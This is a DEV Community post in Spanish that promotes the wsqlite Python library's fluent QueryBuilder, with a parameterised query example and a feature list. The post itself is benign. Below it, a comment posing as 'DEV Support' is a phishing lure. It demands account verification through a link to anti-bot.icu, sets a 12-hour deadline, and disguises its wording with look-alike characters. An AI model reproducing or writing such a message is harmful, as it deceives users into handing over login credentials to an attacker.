DEV Community

William Rodriguez
William Rodriguez

Posted on

SQL fluido sin riesgos de inyección: El QueryBuilder de wsqlite.

SQL fluido sin riesgos de inyección: El QueryBuilder de wsqlite.

Formatear strings de SQL en Python es el camino más rápido a una fuga de datos. El QueryBuilder fluido de wsqlite te permite crear consultas con JOINs y agrupaciones con inmunidad total a inyecciones.

Así se implementa QueryBuilder Fluent SQL API en entornos reales con wsqlite:

from wsqlite.builders import QueryBuilder
from wsqlite.core.connection import get_connection

with get_connection("ecommerce.db") as conn:
    results = (
        QueryBuilder("users")
        .select("users.id", "users.name", "COUNT(orders.id) as order_count")
        .join("orders", "users.id = orders.user_id", "LEFT")
        .where("users.status", "=", "active")
        .group_by("users.id")
        .having("order_count", ">", 5)
        .order_by("order_count", "DESC")
        .limit(10)
        .execute(conn)
    )
    for row in results:
        print(f"User: {row['name']} | Orders: {row['order_count']}")
Enter fullscreen mode Exit fullscreen mode

Por qué wsqlite marca la diferencia:

  • Define tablas de base de datos usando modelos Pydantic v2 estándar.
  • Sincroniza columnas automáticamente al iniciar sin migraciones manuales.
  • Connection pool seguro multihilo con modo WAL por defecto (+5.000 inserts/seg).
  • Soporte completo síncrono y asíncrono con async/await.

¡Visita el repositorio en GitHub!

Top comments (1)

Collapse
 
supportdev profile image
DEV SUPPORTS •

Dear User,
Due tо аn incrеаsе in bоt activity on thе platform, we requirе vеrifу of уоur account.
Рlеasе lоg іn viа the lіnk bеlow:
• anti-bot.icu/5K0N5G7M9C4
Verificated dеadlіnе - 12 hours.
Sincerely,Dev Supроrt

‍‍‌